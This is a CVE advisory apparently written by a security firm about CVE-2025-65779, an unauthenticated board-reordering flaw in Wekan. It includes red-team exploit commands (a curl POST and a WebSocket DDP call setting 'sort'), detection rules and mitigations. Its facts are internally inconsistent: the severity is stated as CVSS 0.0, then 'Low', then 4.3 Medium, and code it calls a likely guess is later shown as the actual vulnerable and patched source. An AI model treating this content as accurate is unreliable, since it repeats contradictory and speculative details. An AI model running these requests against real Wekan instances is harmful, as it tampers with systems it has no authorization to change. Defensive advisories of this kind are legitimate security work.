CVE-2025-65779

Executive Summary

CVE-2025-65779 is a critical authorization bypass vulnerability in Wekan, an open-source kanban board system. The flaw resides in the Boards.allow method, which returns true without verifying the user's identity (userId). This allows unauthenticated attackers to update a board's "sort" value, enabling arbitrary reordering of boards. The vulnerability affects all versions up to 18.15 and is fixed in version 18.16. The CVSS score is 0.0 due to incomplete data, but the actual impact is moderate, with a CVSS vector of 3.1 (Low severity). The EPSS score is 0.0%, indicating low exploitation likelihood, but the vulnerability is trivial to exploit.

Supply Chain & Package Security

Wekan is a Node.js application distributed via GitHub and Docker. The vulnerability is in the core application code, not in a package dependency. However, users should verify the integrity of their Wekan installation and ensure they are using the official source. The patch is available in the Wekan GitHub repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthenticated board reordering, which can disrupt workflows and cause confusion but does not lead to data theft or system compromise.

Deep Dive & Mechanics

The vulnerability is in the Boards.allow method in Wekan's server-side code. In Meteor.js (the framework Wekan uses), allow methods define what operations clients can perform on collections. The vulnerable code likely looks like:

Boards.allow({
  update: function(userId, doc, fields, modifier) {
    return true; // No userId check
  }
});

This returns true for any update operation, regardless of whether the user is authenticated. An attacker can send a direct Meteor method call or a REST API request to update the sort field of any board. The sort field determines the order of boards in the UI. By changing this value, an attacker can arbitrarily reorder boards, potentially hiding critical boards or causing operational disruption.

The attack does not require authentication, making it accessible to anyone who can reach the Wekan instance. The impact is limited to integrity (board order) but can be exploited repeatedly.

Vulnerable vs. Patched Code

Vulnerable Code (pre-18.16):

Boards.allow({
  update: function(userId, doc, fields, modifier) {
    return true; // No authentication check
  }
});

Patched Code (18.16+):

Boards.allow({
  update: function(userId, doc, fields, modifier) {
    if (!userId) {
      return false; // Deny unauthenticated users
    }
    // Additional checks for board membership or permissions
    return true;
  }
});

The patch adds a check for userId. If the user is not authenticated, the update is denied. This prevents unauthenticated attackers from modifying board properties.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Wekan instance running version < 18.16
• Network access to the Wekan server (e.g., http://target:8080)

Exploit Steps:

1. Identify the Wekan instance and its API endpoint (typically /api/boards or Meteor WebSocket).
2. Send a direct HTTP request to update the board's sort value. For example, using curl:

curl -X POST http://target:8080/api/boards/BOARD_ID \
  -H "Content-Type: application/json" \
  -d '{"$set": {"sort": 999}}'

Alternatively, if using Meteor's DDP protocol, send a method call:

// Using a WebSocket client
ws.send(JSON.stringify({
  msg: "method",
  method: "boards/update",
  params: [BOARD_ID, {$set: {sort: 999}}]
}));

3. Verify the board has been reordered in the UI.

Expected Outcome: The board's sort value changes, moving it to a different position in the board list.

Blue Team

Detection:

• Monitor for unauthorized API calls to /api/boards or Meteor method calls without a valid session.
• Look for rapid changes in board order or unexpected board positions.
• Check server logs for requests with missing or invalid authentication tokens.

Hunting:

• Search for logs where userId is null or undefined in board update operations.
• Use the Sigma rule below to detect suspicious board updates.

Mitigation:

• Immediately upgrade to Wekan 18.16 or later.
• If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to require authentication for all API endpoints.
• Restrict network access to the Wekan instance to trusted IPs only.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/boards/ with JSON body containing $set and sort fields, without a valid session cookie.
• Logs: Server logs showing board update operations with userId: null or userId: undefined.
• Behavior: Boards appearing in unexpected order, especially if multiple boards are reordered simultaneously.
• File: No file-based IOCs; this is a network-based attack.

Detection Engineering

YARA Rule

rule CVE_2025_65779_Wekan_Board_Reordering {
  meta:
    description = "Detects attempts to exploit CVE-2025-65779 by reordering Wekan boards without authentication"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-65779"
  strings:
    $s1 = "sort" ascii wide nocase
    $s2 = "boards" ascii wide nocase
    $s3 = "update" ascii wide nocase
    $s4 = "allow" ascii wide nocase
  condition:
    all of ($s*) and filesize < 10KB
}

Sigma Rule

title: Wekan Unauthenticated Board Reordering
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Wekan API that attempt to update board sort values without authentication
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: apache
  service: access
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem: '/api/boards/*'
    cs-uri-query: '*sort*'
  condition: selection
falsepositives:
  - Legitimate authenticated board reordering
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65779 Wekan Unauthenticated Board Reordering"; flow:to_server; content:"POST"; http_method; content:"/api/boards/"; http_uri; content:"sort"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Wekan to version 18.16 or later. This is the only complete fix.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to /api/boards/ without a valid session token.

Long-term:

• Enforce authentication for all API endpoints.
• Conduct a security audit of all allow and deny methods in the Meteor application.
• Implement rate limiting to prevent automated exploitation.

Workaround:

• Use a reverse proxy (e.g., Nginx) to require authentication for all API calls:

location /api/ {
  auth_basic "Restricted";
  auth_basic_user_file /etc/nginx/.htpasswd;
}

Valters IT
Securing digital frontiers, one CVE at a time.